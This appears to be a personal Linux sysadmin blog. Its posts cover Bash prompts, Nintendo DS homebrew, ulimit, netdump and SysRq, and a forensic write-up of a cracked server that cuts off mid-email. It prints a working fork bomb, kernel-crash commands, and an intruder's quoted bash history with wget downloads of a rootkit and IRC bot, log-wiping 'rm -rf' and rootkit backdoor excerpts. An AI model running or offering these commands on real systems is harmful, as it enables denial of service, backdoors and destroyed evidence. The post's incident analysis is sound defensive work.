Bash prompt with exit status

Let's improve the Bash prompt even further from my last post. I want to see the exit status of the last command in the bash prompt.

All (good written) programs have different exit status depending on how they where terminated. Exit status "0" is equivalent to "I terminated normally", all other exit status codes are the same as "non-normal exit" or "something went wrong". Unfortunate, there is not defined any standard exit status table that can say something about what went wrong given a numeric exit status. That is up to the programmer to decide.

  lars@titan:~$ test 1 -eq 1
  lars@titan:~$ echo $?
  0
  lars@titan:~$ test 1 -eq 2
  lars@titan:~$ echo $?
  1
  lars@titan:~$ notanycommand
  bash: notanycommand: command not found
  lars@titan:~$ echo $?
  127

I know that the exit status is stored in "$?". I use that to colorize my prompt red if the exit status is anything but "0" ("all ok"). In the bash man page, there is a special variable that is exactly what I'm looking for:

PROMPT_COMMAND
  If set, the value is executed as a command prior to issuing each
  primary prompt.

So we create a small function and add it to ~/.bashrc:

function exitstatus {

        EXITSTATUS="$?"
        BOLD="\[\033[1m\]"
        RED="\[\033[1;31m\]"
        OFF="\[\033[m\]"

        if [ "$EXITSTATUS" -eq "0" ]
        then
                PS1="${BOLD}\u@\h:\w\$${OFF} "
        else
                PS1="${BOLD}\u@\h:\w${OFF}${RED}\$${OFF} "
        fi

        PS2="${BOLD}>${OFF} "

}

PROMPT_COMMAND=exitstatus

Fire up a new shell, and every command that has an exit status different than "0" puts a red marker in your prompt:

Bash prompt (on RedHat)

I've been working with a lot of different RHEL-boxes lately, and I've (yet again) been frustrated with the default RedHat Bash-prompt. It is an easy fix, but its tiresome to change every time.

Okay, the "trouble" is this:

  [lars@titan ~]$

This is the default bash prompt. Now, thats fine enough, but lets jump to another directory.:

  [lars@titan lib]$

Where am I now? Which directory is this? Hm?

Since the RedHat prompt only shows the current directory, and NOT the full path, it can be any number of directories:

• /lib
• /usr/lib/
• /usr/src/linux/lib/
• /usr/local/lib/
• /opt/lib
• /var/lib
• ~/lib
• ...

You get the idea? And, if you have the same amount of short-time memory like me, you have to constantly type 'pwd' to check which directory you currently are in. The only nice feature with the default RedHat prompt, is to prevent long wrapping prompt (when the full path gets long).

Luckily, it is easy to change the prompt. Just add this to your ~/.bashrc

  PS1='\u@\h:\w\$ '
  PS2='> '

This gives you:

  lars@dream:~$

And lets now jump to another directory:

  lars@dream:/usr/local/lib$

See? No more 'pwd'! Finally a more sane and useful Bash prompt!

You can find more prompt variables in the Bash manual.

A slightly more fancy variant of the above, is to make the prompt bold:

   BOLD="\[\033[1m\]"
   OFF="\[\033[m\]"
   PS1="${BOLD}\u@\h:\w \$${OFF} "
   PS2="${BOLD}>${OFF} "

Just add it to your ~/.bashrc, and it will look like this:

  lars@titan:~$

You can pimp your prompt with colors and all kinds off information. Read the Bash Prompt HOWTO for more.

Old classical PC games on Nintendo DS

The Nintendo DS (NDS) is more than powerful enough to play several old PC games. Some porting is required, and luckily a lot of people have already done that. Usually, you just need the game files (which means you must either own the originally game, use the shareware version or, check if it's abandonware). It's time for a trip down memory lane trying out some old classics.

To be able to run, you must first have some kind of "memory card". I have, and can personally vouch for, DSX. You can read all about my experience with it in earlier posts..

1. Lemmings - First off is Lemmings! This (open source) version of Lemmings for NDS is a complete rewrite of Lemmings with close to 300 of the original levels. Installation was easy - and no dldi patching was necessary for DSX. Download here.

2. Doom - This version of Doom, called "DS Doom", even have multiplayer support using wireless. This version does not need dldi patching for DSX. But you do need Dooms WAD-files (shareware is fine). Homepage here.

3. Day of the Tentacle - Yes! The great adventure games from Lucasarts can be played on the NDS using a port of Scummvm. Scummvm is just a new engine, so you still need the data files. A whole range of adventure games can be played (Monkey Island 1 & 2, Sam & Max hit the road, Simon the Sorcerer 1 & 2, ..). Download the NDS port of Scummvm here.

4. Hexen - Another old classic FPS game, based on the Doom engine. Fetch it here.

5. Quake - Yes, running Quake at full speed. Quite a nice port considered the NDS's 4MB of memory. You'll need the shareware version of the game file (PAK0.PAK) and/or the full game (PAK1.PAK).

Other games I would like to see ported to NDS, are from the Ultima series. Specifically Ultima 7 and 8 and Ultima Underworld 1 & 2. Great, great games! And since I've mention Lucasarts games, playing X-Wing and Tie-Fighter would also have been fun - which the NDS should be more than capable of. When it comes to Ultima 7, the Exult project have made a comment on porting to the NDS. - Oh, and not to forget Dungeon Keeper, Diablo, ...

Now, if only I had some more time to play games!

Linux on Nintendo DS

After getting my own DSX memory card for running homebrews (see previous blog entry), it's time to fire up Linux. Getting Linux to run on the NDS was no problem at all, but it's still quite limited. At least when using the memory card DSX.

The Linux distribution for NDS is called DSLinux and is under active development. To run it, use the following procedure:

1. Connect the DSX to the USB.
2. Download http://kineox.free.fr/DS/dslinux.nds and put it in the "apps/" folder. This version has wireless support.
3. Since the DSX own application launcher are unable to launch DSLinux for some reason, another launcher has to load Linux. The launcher DSChannel can do the work. Unpack http://gtamp.com/DS/dschannels_beta5b_DS-X.7z to the root of your DSX.
4. From DSX, start DSChannel. From DSChannel start DSLinux. If you try to launch DSLinux from DSX own application launcher, you'll just be presented with to white screens.
5. When starting DSLinux, the top-screen (console) is garbled. Just tap "Enter" to redraw the screen.
6. Login with user name: root and password: uClinux.

From here, get the wireless interface up and running:

# iwconfig nds channel 2 essid gatekeeper key off
# ifconfig nds 192.168.1.42 up
# route add default gw 192.168.1.1

Read more here: http://www.dslinux.org/wiki/Using_DSLinux

Oh, and the wireless is just legacy 802.11 (no 802.11b or 820.11g), so it's limited to 2Mbit/s data rate. And only WEP is supported, no 802.11i (WPA/WPA2).

Unfortunate, the DSX (file system) is not supported by DSLinux, so it's really limited what can be done. The file system is read-only so the rest of DSLinux is inaccessible. Only the most elementary programs are available like "busybox, "cat", "ls" and so on. Both "telnetd" and "dropbear" (ssh) refuses to start. I suspect that's because the read-only file system. And since no "netcat" or "socat" is present, it limits the remote accessibility further. Fortunate, support for DSX is on the TODO list.

So I'll guess I just have to wait until it's supported before I can play more with DSLinux.

Useful links:

• http://www.ds-xtra.com/DSLinux
• http://www.dslinux.org/wiki/Using_DSLinux
• http://www.dslinux.org/wiki/DSLinux_FAQ
• http://www.dslinux.org/wiki/TODO

Memory card "DS-Xtreme" (DSX) for the Nintendo DS (NDS)

As of June 2007, 47 million Nintendo DS units has been sold. That's quite an impressive number, and has been the fastest selling platform in Europe. As soon as I got my hands on one of these units, I started looking for ways to use "homebrews" (= software written for the NDS usually published for free).

There are a lot of great homebrews for the NDS, but a "memory card" (solid state ROM) is required to use homebrews. You must have a way of putting the homebrew onto the NDS. A lot of different memory cards exists. After poking around, I found that DS Xtreme card (DSX) looked to be a good choice.

Several reasons why I preferred DSX:

• Comes in sizes up to 2GB.
• The pysical size is no larger than ordinary game cards.
• No need to patch/modify the NDS, the DSX works as an ordinary "game card".
• USB interface directly onto the card which works flawlessly.
• Support (which I found out where excellent) and forums.
• A large and active community.

Okay, so how do I get hold of one of these cards? I found a Norwegian shop modnet.no which had the 2 GB in in stock.

The device arrived the next day. Great! Inside it was only a USB-cable and the DSX itself. I had read that the 2GB devices need a mandatory update, due to some firmware bugs. The firmware update was a breeze, but unfortunate a Windows only procedure.

When connected it's deteced as any ordinary USB-stick:

$ dmesg
...
[17185651.468000] usbcore: registered new driver usb-storage
[17185651.468000] USB Mass Storage support registered.
[17185651.468000] usb-storage: device found at 7
[17185651.468000] usb-storage: waiting for device to settle before scanning
[17185656.468000] usb-storage: device scan complete
[17185656.468000]   Vendor: DS-Xtrem  Model: e      isk        Rev:    
[17185656.468000]   Type:   Direct-Access                      ANSI SCSI revision: 00
[17185656.472000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)
[17185656.472000] sdb: Write Protect is off
[17185656.472000] sdb: Mode Sense: 33 00 00 00
[17185656.472000] sdb: assuming drive cache: write through
[17185656.476000] SCSI device sdb: 4071424 512-byte hdwr sectors (2085 MB)
[17185656.476000] sdb: Write Protect is off
[17185656.476000] sdb: Mode Sense: 33 00 00 00
[17185656.476000] sdb: assuming drive cache: write through
[17185656.476000]  sdb: unknown partition table
[17185656.476000] sd 2:0:0:0: Attached scsi removable disk sdb
[17185656.476000] sd 2:0:0:0: Attached scsi generic sg1 type 0
[17185657.096000] FAT: utf8 is not a recommended IO charset for FAT filesystems, filesystem will be case sensitive!

$ df -h
...
/dev/sdb              2.0G  1.4G  639M  68% /media/DSX

After fiddling around with the DSX I needed to reset the DSX. I peeled off the label on the DSX and in the tiny hole there was two individual contacts. By connecting these two, the DSX was reset. Se picture to the right. After that I just needed to run the firmware upgrade utility and I was back on track.

So now it's time to find some good homebrews! A nice place to start:

http://www.ds-xtra.com/DS_Homebrew_Directory

Less typing with enviroment variable CDPATH

The BASH shell has several environment variables that can be manipulated. The PATH variable is well known. Another useful variable is CDPATH. As PATH is a list of search paths for commands, so is CDPATH a list of directories used as search path for the "cd" command.

Example: At one ftp server we serve a lot of software, including several of the most popular Linux distributions. The local path to these distributions involves a lot of typing:

  larsks@spheniscus:~$ cd /usit/spheniscus/ftp/linux/
  larsks@spheniscus:/usit/spheniscus/ftp/linux$

From here, I can jump into "slackware/", "centos/", "debian/" and so on. But it's simpler when using CDPATH:

  larsks@spheniscus:~$ export CDPATH="/usit/spheniscus/ftp/linux"
  larsks@spheniscus:~$ cd slackware
  /usit/spheniscus/ftp/linux/slackware
  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware$

Nice huh?

An even lazier method (involving less typing) is to use alias:

  larsks@spheniscus:~$ alias s="cd /usit/spheniscus/ftp/linux/slackware"
  larsks@spheniscus:~$ s
  larsks@spheniscus:/usit/spheniscus/ftp/linux/slackware$

But then I have to create one alias for each directory. Oh the choices!

Fork bomb, or how to take down a Linux server in matter of seconds

A particular nasty local denial of service attack is a fork bomb. It's dead simple: A program just replicate itself, which again replicate itself and so on until all resources are exhausted. Fortunately, protection against fork bombs are easy - but rarely used at all.

Fork bomb? Doesn't sound familiar? To understand fork bomb, you must understand "fork()". Fork is a system call, which creates an exact copy of the running process. The new process is called "child", and the invoking process "parent". If you've taken any sort of programming class I'm sure you know all about forking. If not, you can read about it in "man 2 fork" or Wikipedias entry on fork.

To create a fork bomb, you usually make some kind of misbehaving piece of software that spawns new child processes endlessly. This can be written in any language, but a one-liner bourne shell script is perhaps the most simple one:

  #/bin/sh
  $0 &
  $0

Save this as "forkbomb.sh", execute it and see what happens. I'll bet within seconds the system is unresponsive. Here "$0" is the name of the script (forkbomb.sh) and the "&" puts the new invocation in the background. Last the script is executed a second time and this time it's in the foreground waiting for the new invocation of itself to complete (which it never does..) thus effectively holding on to resources..

You can restrict the number of processes by the built-in bash command "ulimit". Option "-u" shows/controls number of processes you're allowed to run:

  $ ulimit -u
  unlimited

Unlimited number of processes? Thats nice. Restrict it by:

  $ ulimit -u 20
  $ ulimit -u
  20

Here "20" is the maximum number of processes available to the shell and processes started by it. Try it, and you'll soon see the restriction come to play:

  $ ulimit -u 20
  $ ./forkbomb.sh
  ./forkbomb.sh: fork: Resource temporarily unavailable
  ./forkbomb.sh: fork: Resource temporarily unavailable
  ./forkbomb.sh: fork: Resource temporarily unavailable
  ....

Good. Unfortunate, we do not trust our users. So we need this setting permanent. This an be done in /etc/security/limits.conf:

  # cat /etc/security/limits.conf
  ....
  lars    hard    nproc 20

Logout and back in, to see the restriction in effect.

  $ ulimit -u
  20

And I can of course not increase the limits beyond the level set in limits.conf:

  $ ulimit -u 100
  -bash: ulimit: max user processes: cannot modify limit: Operation not permitted

But do beware - the root account (or any account with UID 0) is not bound by limits.conf.

Netdump

RHEL provides a crash dump facility called netdump (network crashdump = netdump). Traditionally UNIX writes the kernel dump to the swap partition. A classical crash dump facility first need to recover the dump before it's reused as swap. Other crash dump facilities enables kernel dumps to be written to disk. Diskdump is such a facility. However, great care must be taken as to not overwrite important data on the file system. Netdump solves that by writing the kernel dump to the network destined to a netdump server.

You might argue that the kernel never crashes. Unfortunate that is not true. Kernel crashes might be caused by software and hardware bugs (Oops, BUG(), panic). The kernel then responds by dumping as much information as it can (processor state, stack trace and so on) to the console. This might be enough for an experienced kernel hacker to find out what went wrong, but some crashed requires an analyze of the memory dump of the kernel.

Netdump server:
1. Install the netdump-server package.
2. Set password for the netdump user:

  # passwd netdump
  Changing password for user netdump.
  New UNIX password:

3. Netdump writes to /var/crash, and kernel dumps can take anywhere from 500MiB up to several GiB depending on amount of memory used on the client.
4. Start the netdump-server:

  # service netdump-server start
  Starting netdump server:                           [  OK  ]

Netdump client:
1. Install the netdump package.
2. Edit /etc/sysconfig/netdump and add netdump server:

  ...
  NETDUMPADDR=192.168.1.104
  ...

3. Propagate the shared secret to the server. This just copies the ssh public key to the crashdump server:

  # service netdump propagate
  netdump@192.168.1.104's password:

The above command just do:

  cat /etc/sysconfig/netdump_id_dsa.pub | \
  ssh -x netdump@$NETDUMPADDR cat '>>' /var/crash/.ssh/authorized_keys2

4. Restart netdump:

  # service netdump restart
  initializing netdump                              [  OK  ]
  initializing netconsole                           [  OK  ]

At the netdump server, a client directory is created for dump files:

 /var/crash/192.168.1.103-2007-06-24-09:44

Time for some testing! Lets crash the client! We crash the client by using sysrq. Read more about sysrq here.

 # sysctl -w kernel/sysrq=1
 kernel.sysrq = 1
 # echo "c" > /proc/sysrq-trigger

The kernel now crashes, but right before it reboots, it dumps to the netdump server (UDP port 6666). At the end of the dump, a SysRq-t is performed. SysRq-t dumps a list of current tasks and their information.

Note! While the dumping is in progress, interrupts are disabled. One consequence of this is that the keyboard is unresponsive.

At the server, two files are generated:

  # ls -lh /var/crash/192.168.1.103-2007-06-24-09\:44/
  -rw-------    1 netdump  netdump      1.3K Jun 24 09:44 log
  -rw-------    1 netdump  netdump      510M Jun 24 09:44 vmcore

You can now analyze the dump ("vmcore") using gdb, kdb or similar to figure out what went wrong. Enjoy!

Magical SysRq

SysRq (System Request) is probably one of those keys on your keyboard that you rarely use. On Linux, you can use it to perform system functions if the system becomes unresponsive. You can sync disks, reboot or crash the kernel if that is what you want. To enable the "magical" sysrq, you need to have it compiled in the kernel. Luckily all major Linux distribution today have sysrq compiled in be default. To see the status if sysrq, issue:

  $ cat /proc/sys/kernel/sysrq
  1

By default this value is "1" on Debian/Ubuntu and "0" on RHEL. "0" disables sysrq and "1" enables all functions of sysrq. Other values exists, see Documentation/sysrq.txt. You might also use "sysctl to check and enable sysrq:

  # sysctl kernel/sysrq
  kernel.sysrq = 0
  # sysctl -w kernel/sysrq=1
  kernel.sysrq = 1

To "s"ync all filesystems, press "Alt+SysRq+s". You'll then see at the console:

 SysRq  :  Emergency Sync
 Emergency Sync complete

Other sysrq functions include "b"oot, "c"rash and "u"mount. See the Documentation/sysrq.txt for the full list.

A quick way to reboot, and a little nicer than using the power-button, is to:

1. Sync disks using: "Alt+SysRq+s":

 SysRq  :  Emergency Sync
 Emergency Sync complete

2. Remount all disks read-only: "Alt+SysRq+u":

 SysRq  :  Emergency Remount R/O
 Emergency Remount complete

3. Reboot: "Alt+SysRq+b":

 SysRq  :  Resetting

An (impatient) colleague of mine uses this procedure to shut down his laptop all the time...

If you're not on the console, you can still use sysrq. Just redirect the the command-key to /proc/sysrq-trigger. So to crash the running server do:

  # echo "c" > /proc/sysrq-trigger

Note: Crashing the running kernel using kexec/kdump is not supported in Debian 4.0 (Etch).

SELinux presentation

Linpro held the annual "Linuxdagen" ("Linuxday") 7. May 2007. It was the usual mix of interesting and not so interesting presentations. There was a lot more people attending this year than last year - which was great. My presentation about SELinux dealt with how SELinux enforces "mandatory access control" (MAC) instead of the traditional "discretional access control" (DAC) on Linux. Handout can be found here (norwegian).

Holiday cracking

A friend of mine asked me to have a look at his Linux-server. "It behaves strangely" he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.

I already had an account, so I started to poke around. The first thing I noticed was some strange ls behavior:

 lars@server1:~$ ls
 ls: invalid option -- h
 Try `ls --help' for more information.

That's odd.. Why don't "ls" take "-h" all of a sudden?? I had aliased "ls, so I unaliased it and it worked fine:

 lars@server1:~$ alias ls
 alias ls='ls -sh --color=auto'
 lars@server1:~$ unalias ls
 lars@server1:~$ ls
 backup
 lars@server1:~$

Strange. I'll have too look into that later, but first get apache up and running:

 lars@server1:~$ sudo /etc/init.d/apache2 start
 Password:
  * Starting apache 2.0 web server...
 (2): apache2: could not open error log file /var/log/apache2/error.log.
 Unable to open logs
    ...fail!

Ookay..? A quick peek into "/var/log/" revealed that "apache2/" was missing, but so was all other directories usually found under there as "mysql/", "exim4/", "samba/" and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:

 lars@server1:~$ sudo -i
 Password:
 root@server1:~# ls
 ls: unrecognized prefix: do
 ls: unparsable value for LS_COLORS environment variable
 total 44
   4 .                 4 .bashrc           4 .ssh
   4 ..                4 .lesshst          8 .viminfo
   8 .bash_history     4 .profile          4 .vimrc

Even more "ls" trouble? Again, "ls" is aliased:

 root@server1:~# alias ls
 alias ls='ls -sa --color=auto'
 root@server1:~# unalias ls
 root@server1:~# ls
 root@server1:~#

By now, I really suspected that something was very very wrong. Misbehaving "ls" and missing a bunch of stuff under "/var/log/". My suspicion was confirmed when I examined root's ".bash_history":

root@server1:~# cat -n .bash_history
   ...
   340  w
   341  cd /var
   342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz
   343  tar -zxf shv5.tar.gz
   344  rm -rf shv5.tar.gz
   345  mv shv5 .x
   346  cd .x
   347  ./setup zibi.joe.149 54098
   348  passwd
   349  passwd
   350  ps aux
   351  crontab -l
   352  cat /etc/issue
   353  cat /etc/passwd
   354  w
   355  who
   356  cd /usr/lib/libsh
   357  ls
   358  hide +
   359  chmod +x hide
   360  hide +
   361  ./hide +
   362  cd /var/.x
   363  mkdir psotnic
   364  cd psotnic
   365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz
   366  tar -zxf psotnic0.2.5.tar.gz
   367  rm -rf psotnic0.2.5.tar.gz
   368  ls
   369  mv psotnic-0.2.5-linux-static-ipv6 synscan
   370  ./synscan
   371  vi conf
   372  vi conf1
   373  mv synscan smbd
   374  smbd -c conf
   375  ls
   376  ps aux
   377  ls
   378  ./smbd -c conf
   379  ./smbd -c conf1
   380  ./smbd conf
   381  ./smbd conf1
   382  ./smbd -a conf conf1
   383  rm -rf conf.dec
   384  rm -rf conf1.dec
   385  cd /usr/lib/libsh
   386  ./hide +
   387  exit
   ...
   425  ssh ftp@62.101.251.166
   426  w
   427  ls
   428  ls
   429  cd /var/.x
   430  ls
   431  cd psotnic/
   432  ls
   433  rm -rf /var/log/*
   434  exit
   435  ls
   436  cd /var/.x/psotnic/
   437  ls
   438  vi conf2
   439  ./smbd -c conf2
   440  ./smbd conf2
   441  ./smbd -a conf conf1 conf2
   442  rm -rf conf2.dec
   443  cd ..
   444  ls
   445  cd /usr/lib/libsh
   446  hide +
   447  ./hide +
   448  exit
   449  ps aux
   450  cd /var/.x
   451  ls
   452  ls
   453  cd psotnic/
   454  ls
   455  cat pid.MastaH
   456  kill -9 2030
   457  ./synscan -a conf conf1
   458  ./smbd -a conf conf1
   459  cd /usr/lib/libsh
   460  ./hide +
  ...

Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out ".bash_history" - so this is probably not the only error he/she has done. Let's start dissecting this little crack.

First. What is hiding under "/var/.x/" and what does the command "setup zibi.joe.149 54098" do?

root@server1:/var/.x# file setup
setup: Bourne-Again shell script text executable
root@server1:/var/.x# wc -l setup
825 setup
root@server1:/var/.x# head -17 setup
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
#                 C00L|0, GolDenLord, Spike, zion ...
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
# [*] And all others who diserve to be here but i forgot
# [*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !

Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as "/bin/ttyload" which is then added to "/etc/inittab" for automatic startup at boot:

mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
chattr +isa /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
....
# INITTAB SHUFFLING
chattr -isa /etc/inittab
cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1
cat /etc/inittab |grep getty > /tmp/.init2
echo "# Loading standard ttys" >> /tmp/.init1
echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1

It also backdoor a bunch of standard linux commands:

# Backdoor ps/top/du/ls/netstat/etc..
cd $BASEDIR/bin
BACKUP=/usr/lib/libsh/.backup
mkdir $BACKUP
...
# ls ...
chattr -isa /bin/ls
cp /bin/ls $BACKUP
mv -f ls /bin/ls
chattr +isa /bin/ls

This explains why "ls" misbehavied!

root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/
total 552
-rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find
-rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig
-rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls
-rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum
-rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat
-rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps
-rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree
-rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top

Oh - and look at the timestamp. This was done at christmas!

Clearly the original "ls" and the newly installed "ls" are different, as md5 fingerprint and file shows:

root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls
eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls
0a07cf554c1a74ad974416f60916b78d  /bin/ls

root@server1:~# file /bin/ls
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked
(uses shared libs), for GNU/Linux 2.0.0, stripped

root@server1:~# file /usr/lib/libsh/.backup/ls
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked
(uses shared libs), for GNU/Linux 2.6.0, stripped

The backdoor toolkit ("sh5.tar.gz") was downloaded from:

root@server1:~# dig +short -x 83.19.148.250
4lo.bydg.pl.

I can't make much out of the site, since it's in polish. The attacker probably don't have any connection to this site - I don't think he is that foolish, but then again - he has done several severe mistakes.

The output of the "setup" command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):

Okay, so "zibi.joe.149" is the password and "54098" is the port number. It's running and (old) sshd from ssh.com, as seen from the screen shot:

Nice colors.

The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what "psotnic0.2.5.tar.gz" contains. The attacker extract and rename the irc-bot to "smbd", which happens to be the same as Samba's daemons ("smbd" and "nbmd").

Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:

   371  vi conf
   372  vi conf1
   ....
   378  ./smbd -c conf
   379  ./smbd -c conf1
   380  ./smbd conf
   381  ./smbd conf1
   382  ./smbd -a conf conf1

Let's execute command 382 to see what it does:

root@server1:/var/.x/psotnic# ./smbd -a conf conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1
[+] Added 2 psotnics to cron

Aha! So it gets added to cron:

root@server1:/var/.x/psotnic# crontab -l
*/10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1
*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1

At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:

root@server1:~# cd /var/.x/psotnic; ./smbd conf

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5724]
root@server1:/var/.x/psotnic# ./smbd conf1

Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)
Copyright (C) 2003-2005 Grzegorz Rusin

[*] Acting as LEAF
[+] Config loaded
[+] Going into background [pid: 5727]
root@server1:/var/.x/psotnic#

These two processes show up using (our backdoored) "ps", so I guess that why the attacker renamed it to "smbd":

root@server1:/var/.x/psotnic# ps axuw | grep smb
root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D
root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D
root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf
root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1

The first two are the real samba, the next two are the irc-bot. Let's strace it to see what it does:

root@server1:~# strace -p 5727
...
connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress)
...
connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress)

So it tries to connect to IP-address 83.18.74.235 on port 9714 and 195.159.0.92 on port 6667 (this port is used for irc-servers):

root@server1:~# dig +short -x 83.18.74.235
manhattan.na.pl.
root@server1:~# dig +short -x 195.159.0.92
ircnet.irc.powertech.no.

Another polish host. The other IP-adress, "ircnet.irc.powertech.no" is a CNAME for "irc.powertech.no", a well known irc-server here in Norway.

Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to "irc.powertech.no", and joining channel "#aik":

:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no
:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1

:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik
:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo
:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.
:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW
:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW
:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW
:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW
:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW
:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW
:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW
:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..
:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW
:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.

This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: "viper42"). I was surprised not to be asked for any channel password (not that it would matter). I guess our attacker made another bummer:

17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik
17:43 [Users #aik]
17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ]
17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz]
17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]
17:43 -!- Irssi: Join to #aik was synced in 1 secs

I found my friends server with the nick "578PAB9NB" and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have "* - GTW" at the end of their nick, except one:

17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]
17:45 [powertech] -!-  ircname  : LaPi@IRCNet
17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl
                                  #pingwinaria #hattrick #trade #admin @#!sh
17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/]

This is the only nick that also have joined more than one channels. Guess I've found my attacker, unless this is a decoy. (Again: The attacker can't be this stupid?!?) I guess I'll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:

$ dig +short campus19.panorama.sth.ac.at
193.170.51.84

And according to RIPE this IP-address belongs to Vienna University Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:

From: Alexander Talos via RT
To: larstra@ifi.uio.no
Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603]
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)
Reply-To: cert@aco.net

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hej!

On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:

> I have been tracking down cracker which connected from
> campus19.panorama.sth.ac.at (193.170.51.84). The user, which

